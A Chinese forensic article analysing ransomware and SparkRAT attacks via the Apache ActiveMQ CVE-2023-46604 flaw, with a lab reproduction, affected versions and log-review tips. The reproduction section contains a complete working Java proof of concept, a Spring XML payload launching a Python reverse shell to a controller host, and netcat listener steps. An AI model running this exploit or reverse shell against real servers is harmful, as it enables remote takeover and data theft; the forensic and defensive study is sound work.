技术分享 | 取证揭秘:Apache ActiveMQ漏洞背后的勒索软件攻击
共 7929字,需浏览 16分钟
·
2024-07-26 17:15
在最近的一起案件中,笔者发现了一起利用Apache ActiveMQ(CVE-2023-46604)漏洞的勒索软件攻击活动。在案件分析中发现,漏洞不仅被用于部署勒索软件,攻击者还通过该漏洞成功部署了SparkRAT。这是一个使用Go语言编写的跨平台远程控制木马,增加了对受害系统的远程控制和操控风险。
Apache ActiveMQ(CVE-2023-46604)漏洞被视为ActiveMQ中最严重的漏洞之一。攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。
从2023年10月25日首次发现至截至2024年1月9日,通过ZoomEye网络空间搜索引擎检索,发现约282557个潜在受影响的IP地址历史记录,主要分布在中国等国家。
1.(ubuntu) 靶机,设置IP地址为:172.18.10.129。
2.(ubuntu)apache-activemq-5.15.10,案件中提取到的漏洞服务程序。
3.(windows)取证工作机,设置IP地址为:172.18.10.1。
4.(windows)Netcat ,是网络测试工具。
5.(windows)NFS ,是http服务器。
复现过程中使用的工具和代码下载地址:
https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
步骤一:创建一个“Ubuntu 22.04 LTS”的靶场主机,配置好python和java环境
步骤二:安装Apache-activemq-5.15.10服务程序
1. 解压Apache-activemq-5.15.10压缩包文件
通过XFTP工具上传到/data工作目录下,并进行解压。
2. 启动Apache-activemq-5.15.10 服务程序
进入bin目录
cd /data/apache-activemq-5.15.10/bin |
启动服务程序
./activemq start |
ActiveMQ的靶场已经准备成功(使用浏览器访问http://172.18.10.129:8161可以验证)。
步骤三:漏洞复现
复现过程中使用的工具和代码下载地址:
https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
在Windows取证电脑上进行:
1. 创建D:\tools\poc\exploit目录
2. 创建poc.java程序
import java.io.*;
import java.net.Socket;
public class poc {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "172.18.10.129"; **此处是ActiveMQ服务IP
int port = 61616; **此处是ActiveMQ服务端口
String pocxml= "http://172.18.10.1:8000/poc.xml";**此处是指向http服务的POC.xml
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0);
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
System.out.println("[*] Target\t" + ip + ":" + port);
System.out.println("[*] XML address\t" + pocxml);
System.out.println("[*] Payload send success.");
}
}
3. 创建poc.xml程序
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>python</value> **此处是调用python命令去执行shell命令。
<value>-c</value>
<value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.10.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value> **此处是172.18.10.1 控制端的9999端口
</list>
</constructor-arg>
</bean>
</beans>
4. 配置NC程序
进入程序目录:
D:\tools\poc\NC |
nc -L -p 9999 |
5. 配置HTTP服务器
进入程序目录:
D:\tools\poc\nfs |
6. 运行poc恶意程序
进入目录文件夹
D:\tools\poc\exploit |
找到已创建的Poc文件:
运行poc恶意程序:
java poc.java |
最终结果:
成功反弹shell后,取得控制权,随后执行"ip addr"指令查看被控端的IP地址,结果如下:
1. 查看ActiveMQ版本号
./activemq --version |
影响版本:
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
2. 找到ActiveMQ的日志文件:
3. 分析相关日志信息
重点检查ActiveMQ的访问日志,通常记录有关连接和请求的信息。查找与8161和61616端口相关的日志条目,特别关注连接失败、异常或非正常行为。
本篇文章带大家深入地了解了攻击的整个过程,以及对遭受攻击的系统进行的详细调查,包括搜集有关漏洞利用的系统日志、网络通信记录以及其他数字证据。通过详细的取证工作,我们可以更全面地了解攻击者的手法,为后续的安全修复和法律调查提供有力支持。
供稿:赵弘
编辑排版:Serene
审核:Spartan117